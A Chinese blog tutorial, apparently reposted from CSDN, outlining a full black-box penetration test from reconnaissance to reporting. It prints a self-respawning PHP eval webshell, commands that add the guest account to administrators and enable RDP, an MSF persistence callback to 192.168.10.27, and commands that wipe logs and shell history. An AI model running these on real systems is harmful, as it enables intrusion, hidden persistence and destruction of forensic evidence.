首页 > 其他分享 >渗透测试怎么做?看看大神一次完整的渗透测试实战

渗透测试怎么做?看看大神一次完整的渗透测试实战

时间:2024-09-26 21:48:27浏览次数:11  
标签:漏洞 渗透 大神 网站 测试 主机 我们

 在网络安全的世界里,渗透测试是一项关键的技术。你是否曾好奇,安全领域的专家们是如何一步步攻破一个系统的?今天我们将带你走进一次完整的渗透测试实战,让你体验大神级别的渗透技巧。

渗透测试究竟是如何进行的?从信息收集到漏洞利用,再到权限提升,每一个步骤都至关重要。渗透测试不仅是对系统防御的考验,也是对测试人员技能的极限挑战。那么,完整的渗透测试流程是怎样的呢?

随着网络攻击的频繁发生,越来越多的企业开始重视网络安全,而渗透测试作为预防攻击的重要手段,需求量日益增加。它不仅帮助企业发现系统中的潜在威胁,也为防御策略提供了有力支持。无论是金融、电商还是政府机构,渗透测试已成为企业防护体系的重要组成部分。

 

渗透测试就是利用我们所掌握的渗透知识,对网站进行一步一步的渗透,发现其中存在的漏洞和隐藏的风险,然后撰写一篇测试报告,提供给我们的客户。客户根据我们撰写的测试报告,对网站进行漏洞修补,以防止黑客的入侵!

渗透测试的前提是我们得经过用户的授权,才可以对网站进行渗透。如果我们没有经过客户的授权而对一个网站进行渗透测试的话,这是违法的。去年的6.1日我国颁布了《网络安全法》,对网络犯罪有了法律约束,不懂的移步——> 网络安全法

渗透测试分为 白盒测试 黑盒测试

  • 白盒测试就是在知道目标网站源码和其他一些信息的情况下对其进行渗透,有点类似于代码分析

  • 黑盒测试就是只告诉我们这个网站的url,其他什么都不告诉,然后让你去渗透,模拟黑客对网站的渗透

我们现在就模拟黑客对一个网站进行渗透测试,这属于黑盒测试,我们只知道该网站的URL,其他什么的信息都不知道。接下来,我就给大家分享下黑盒渗透测试的流程和思路!当我们确定好了一个目标进行渗透之后,第一步该做的是什么呢?

信息收集

第一步做的就是信息收集,正所谓知己知彼百战百胜,我们根据网站URL可以查出一系列关于该网站的信息。通过URL我们可以查到该网站的IP、该网站操作系统、脚本语言、在该服务器上是否还有其他网站等等一些列的信息。

漏洞探测

当我们收集到了足够多的信息之后,我们就要开始对网站进行漏洞探测了。

探测网站是否存在一些常见的Web漏洞,比如:

SQL注入

XSS跨站脚本

CSRF跨站请求伪造

XXE漏洞

SSRF服务端请求伪造漏洞

文件包含漏洞

文件上传漏洞

文件解析漏洞

远程代码执行漏洞

CORS跨域资源共享漏洞

越权访问漏洞

目录浏览漏洞和任意文件读取/下载漏洞

struts2漏洞

JAVA反序列化漏洞

这些是网站经常发现的一些漏洞,还有一些网站漏洞,这里我就不一一列举出来了。

网站漏洞扫描工具也有很多,比如:

  • AWVS

  • AppScan

  • Owasp-Zap

  • Nessus

网站漏洞扫描工具我就列举这几种,还有很多,最常用的是这几个!

漏洞利用

当我们探测到了该网站存在漏洞之后,我们就要对该漏洞进行利用了。不同的漏洞有不同的利用工具,很多时候,通过一个漏洞我们很难拿到网站的webshell,我们往往需要结合几个漏洞来拿webshell

常用的漏洞利用工具如下:

  • SQL注入

  • XSS跨站脚本

  • 抓包改包工具

文件上传漏洞,上传漏洞的话,我们一般会上传一句话木马上去,进而再获得webshell。但是获得了webshell后,一般权限很低,所以我们需要提权,可以选择反弹一个MSF类型的shell提权:Metasploit Framework(MSF)  、 Msfvenonm生成一个后门木马,也可以反弹一个CobaltStrike类型的shell:Cobalt Strike, 也可以MSF和CobaltStrike联动:MSF和CobaltStrike联动 也可以使用其他提权:Windows 、 Linux

内网转发

当我们获取到了网站的Webshell之后,如果我们想获取该主机的有关信息,我们可以将该主机的webshell换成MSF的shell。直接生成一个木马,然后在菜刀中执行该木马,我们就能接收到一个MSF类型的shell了。

如果我们还想进一步的探测内网主机的信息的话,我们就需要进行内网转发了。我们是不能直接和内网的主机通信的,所以我们就需要借助获取到的webshell网站的服务器和内网主机进行通信。

 

内网横向渗透

当我们在获取了外网服务器的权限,进入该系统后,我们要想尽办法从该服务器上查找到我们想要的信息。

对于windows主机,我们应该多去翻翻目录,或许能有很多意想不到的结果。很多人习惯把账号密码等容易忘的东西存放在备忘录中,或者是桌面上。我们还可以查找数据库的连接文件,查看数据库的连接账号密码等敏感信息。当我们获得了windows主机的账号密码,或者是自己创建了新用户后,我们为了不被网站管理员发现和不破坏服务器。我们尽量不要使用远程桌面。因为使用远程桌面动静比较大,如果此时服务器管理员也在登录,而你此时通过远程桌面登录的话,会将管理员挤掉,而你也将很快的被管理员踢掉。对于实在是要远程桌面登录的情况的话,我们尽量不要新建一个用户进行登录。我们可以激活  guest 用户,然后将其加入 administrators 组里面,用 guest 用户身份登录。在RDP远程登录后,我们可以查看其他用户桌面上和其他目录有哪些软件,我们要找的目标有以下:

  • FTP相关的软件

  • 数据库相关的软件

打开浏览器,查看历史记录,查看某些网站是否保存有用户密码。利用工具查看浏览器保存的密码,从该主机上找到的账号密码,我们可以做一个字典,在对内网其他机器进行爆破的时候,很有可能是同密码。

net user  guest  /active:yes                      #激活guest用户

net localgroup  administrators  guest  /add       #将guest用户添加到

net user guest    密码                            #更改guest用户密码

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f                          #开启3389端口

对于Linux主机,我们可以查看开放的端口号,开放的服务,与其建立连接的内网主机。查看目录,查找网站数据库连接密码。总之,就是尽可能的多查找一些账号密码,这对于内网的账号爆破非常有用。

在搭建了隧道可以通内网后,我们首先就需要对内网进行资产发现了。但是对于内网存活网段的判断是一个大问题。内网很有可能同时存在 10.0.0.0/8、172.16.0.0/16、192.168.0.0/24 网段。这就需要我们用扫描器对其进行探测了。通过代理进行内网扫描不建议使用nmap。如果是在本地主机通过代理扫描,可以图形化界面的话,可以使用 RouterScan 、御剑高速TCP全端口扫描器、IIS_Scanner。但是注意线程调低一点,不然代理很容易崩了。如果使用命令行扫描器的话,可以使用S扫描器。在扫描了内网资产和端口开放情况后,对于445端口,就可以打一波MS17_010。但是注意通过代理打445,和之前的是不一样的。对于3389端口,可以打一波CVE-2019-0708。对于1433/3306/6379等端口,可以尝试爆破,利用之前收集到的账号密码成功率更高哦。

权限维持

在拿到目标主机的权限后,很有可能当时我们并不能获取到想要的东西,需要进行长期的潜伏,特别是在内网渗透中,需要进行长期的信息收集。这时,权限维持就很重要了。我们需要维持住获得的现有权限。

Web后门

1:隐藏后门文件(将文件设置为隐藏)

2:不死马,该脚本每5秒向服务器创建test.php,并写入一句话免杀木马。结合attrib命令隐藏文件更好地建立后门。

<?php

    set_time_limit(0);//程序执行时间

    ignore_user_abort(1);//关掉终端后脚本仍然运行

    unlink(__FILE__);//文件完整名

    while(1){

        file_put_contents('test.php','<?php $a=array($_REQUEST["x"]=>"3");

        $b=array_keys($a)[0];

        eval($b);?>');

        sleep(5);

    }

?>

3:404页面隐藏后门,或者在其他自带文件中插入后门代码

注:以上几种后门方法均能被D盾等工具检测到

Windows系统

1:建立隐藏用户,在用户名后加 $ 

2:在开机启动目录下放置木马文件,只要目标机器重启,将回连我们的远控

3:MSF里的 persistence 模块,执行命令可以使目标机器每隔一定时间自动回连远控。但是容易被发现

# 反弹时间间隔是5s 会自动连接192.168.27的4444端口,缺点是容易被杀毒软件查杀

run persistence -X -i 5 -p 8888 -r 192.168.10.27  



# 然后它就在目标机新建了这个文件:C:\Windows\TEMP\CJzhFlNOWa.vbs ,并把该服务加入了注册表中,只要开机就会启动

4:在域环境下,想办法获得 krbtgt 用户的哈希,该用户的哈希可以进行票据传递攻击。而且一般该用户的密码不经常改变。

5:shift后门

6:远程桌面会话劫持 

Linux系统

1:SSH后门

2:crontab定时任务

3:SSH公钥

4:创建SUID=0的用户

痕迹清除

当我们达到了目的之后,有时候只是为了黑入网站挂黑页,炫耀一下;或者在网站留下一个后门,作为肉鸡,没事的时候上去溜达溜达;亦或者挂入挖矿木马;但是大家千万不要干这些事,这些都是违法的!

我这里只是教大家在渗透进去之后如何清除我们留下的一部分痕迹,并不能完全清除,完全清除入侵痕迹是不可能的!主要是增加管理员发现入侵者的时间成本和人力成本。只要管理员想查,无论你怎么清除,还是能查到的。最主要还是要以隐藏自身身份为主,最好的手段是在渗透前挂上代理,然后在渗透后痕迹清除。

Windows系统

1:如果是windows系统,可用MSF中的 clearev 命令清除痕迹

2:如果3389远程登录过,需要清除mstsc痕迹

3:执行命令清除日志:

del %WINDR%\* .log /a/s/q/f

4:如果是web应用,找到web日志文件,删除 

Linux系统

1:如果是Linux系统,在获取权限后,执行以下命令,不会记录输入过的命令

export HISTFILE=/dev/null export HISTSIZE=0

2:删除 /var/log 目录下的日志文件

3:如果是web应用,找到web日志文件,删除 

撰写渗透测试保告

在完成了渗透测试之后,我们就需要对这次渗透测试撰写渗透测试报告了。明确的写出哪里存在漏洞,以及漏洞修补的方法。以便于网站管理员根据我们的渗透测试报告修补这些漏洞和风险,防止被黑客攻击!

渗透测试并不是简单的黑客操作,它是一个严谨、专业的过程。从信息收集到漏洞利用,再到最终权限提升,渗透测试展示了技术与策略的完美结合。通过这项技术,企业可以主动防御黑客的攻击,保障系统安全。

“渗透测试不仅是在寻找漏洞,更是在捍卫网络的最后一道防线。”

我们做的这一切的一切都是为了营造一个更安全更可信任的网络环境,大家切记不要利用本篇文章进行违法犯罪行为!

标签:漏洞,渗透,大神,网站,测试,主机,我们
From: https://blog.csdn.net/m0_58552717/article/details/142578040

相关文章

  • vue tsx功能测试,包含v-model 实现,slot实现,数据响应注意点
    child.tsximport{defineComponent}from'vue';//响应式数据需要放在函数外面,或者放在setup里面constdata1=ref(123);functionmyComponent(){constdata2=ref(34);//在这里定义ref无法响应式functiondata2ClickHanlder(){data2.valu......
  • 持续测试:确保 DevOps 管道的质量
    持续测试是现代软件开发中的关键实践,尤其是在DevOps框架中。它涉及在整个软件交付管道中自动执行测试,以确保对代码库所做的每项更改都得到彻底验证。通过将测试集成到开发过程的每个阶段,持续测试旨在尽早发现并解决缺陷,从而显着降低生产中失败的风险。什么是持续测试?持续测试是......
  • 1.5 测试用例
    欢迎大家订阅【软件测试】专栏,开启你的软件测试学习之旅!文章目录前言1测试用例介绍2测试用例编写3案例分析前言测试用例的设计和编制是软件活动中最重要的工作。本文详细讲解了测试用例的基本概念以及如何编写测试用例。本篇文章参考黑马程序员1测试用例......
  • ECU电控软件开发及测试介绍
        伴随着电动化、智能化、网联化等技术发展的时代背景,各行各业电子电气架构都在发生深度变革。新型架构逐渐取代传统架构,比如汽车、工程机械、储能、船舶等领域,电子电气架构从传统分布式向域集中式,甚至向着中央集中式发展,控制器功能呈现集中化、复杂化的特点。为了提升开......
  • 精准测试之探索
    一、怎样的技术•百度百科:精准测试是一套计算机测试辅助分析系统。精准测试的核心组件包含的软件测试示波器、用例和代码的双向追溯、智能回归测试用例选取、覆盖率分析、缺陷定位、测试用例聚类分析、测试用例自动生成系统,这些功能完整的构成了精准测试技术体系。•其他定义精准......
  • 在Bamboo上怎么使用iOS的单元测试
    本教程将使用北汽登录模块为例,一步一步和大家一起搭建单元测试用例,并在Bamboo上跑起来,最终测试结果和代码覆盖率会Bamboo上汇总。模块名称:BQLoginModule,是通过iBiu创建的一个模块工程一建立单元测试BundleProductName:BQLoginTests二测试代码编写1配置文件同步如果我们要在测......
  • 精准测试之探索
              ![](https://p0-xtjj-private.juejin.cn/tos-cn-i-73owjymdk6/21d7663a765f4304acb6c288c3b15696~tplv-73owjymdk6-jj-mark-v1:0:0:0:0:5o6Y6YeR5oqA5pyv56S-5Yy6IEAg5Lqs5Lic5LqR5byA5Y-R6ICF:q75.awebp?policy=eyJ2bSI6MywidWlkI......
  • 在Bamboo上怎么使用iOS的单元测试
                sed"s/${moduleName}/Example/${moduleName}/${moduleName}/Classes/g"./cov_env1.txt>cov_env2.txt  cp-f./Pods/XcodeCoverage/env.sh./Pods/XcodeCoverage/env_bak.sh  rm-f./Pods/XcodeCoverage/env.s......
  • 20240926测试
    a题面:有一个\(n\timesm\)的\(01\)矩阵,求其中\(1\)的个数在\([l,r]\)的子矩阵数量题解:令\(f_k\)为\(1\)的个数\(\lek\)的子矩阵数量,答案为\(f_r-f_{l-1}\)。\(n\)较小,暴力枚举上下区间,在内用双指针维护和小于等于\(k\)的段,复杂度\(\text{O}(n^2m)\)。......
  • ECU电控软件开发及测试介绍
        伴随着电动化、智能化、网联化等技术发展的时代背景,各行各业电子电气架构都在发生深度变革。新型架构逐渐取代传统架构,比如汽车、工程机械、储能、船舶等领域,电子电气架构从传统分布式向域集中式,甚至向着中央集中式发展,控制器功能呈现集中化、复杂化的特点。为了提升开......